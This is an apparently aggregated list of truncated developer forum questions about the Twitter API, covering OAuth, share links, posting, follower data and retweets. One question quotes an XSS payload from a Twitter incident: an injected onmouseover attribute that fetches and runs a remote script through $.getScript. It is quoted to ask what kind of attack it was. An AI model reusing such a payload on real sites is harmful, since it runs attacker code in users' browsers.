Hello, probably like many people my site has been affected by twitter deprecating basic authentication, so I was looking at implementing OAuth. But all I want to do is just pull the last couple of tweets from my account - I don't need to post anything, it's just readonly access to the user timeline. I've seen a couple of posts showing ho...

I was calling window.open('http://www.twitter.com/share?url=...&text=...','twitterShare','width=500,height=400') in a JS function for a SWF file to trigger and for the life of me the freakin' message wouldn't properly unencode hashtags and spaces (%23 an...
I have a web site, that authenticates users using their Twitter ID and password via oAuth. Everything works well. I want to know if it's possible to post a status update to the user's Twitter page.

Any ideas on how I can get location, age and gender of my followers on Twitter? I know that Twitter can only give me location (not always), by looking at either time-zone or location.

So, I have been reading into the whole OAuth stuff the recent days, trying to find something to help me authenticate with twitter. Since most of the topics in this forum pointed to Ben Gottliebs Framework I tried to include it in my TestApp which went fine. Inserting my tokens, logging in went easy. Next thing I wanted to do, was using...
Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link: http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/ Is this technically an XSS attack or something else?

Suppose I dont t...

I'm using twitter gem as a library to work with twitter api. I've noticed a weird issue with getting retweets for the tweet. Whenever I make a call I get only retweets from my mutual connections. So, if someone retweets my post I'll never be able to get that retweet using proper api call. However, search function might be a solution for...
I'm trying to get a workaround so that i don't have to press the Allow button everytime when I make use of the Twitter API. if (Request["oauth_token"] == null) { //Redirect the user to Twitter for authorization. //Using oauth_callback for local testing. oAuth.CallBackUrl = "http://localhost";...
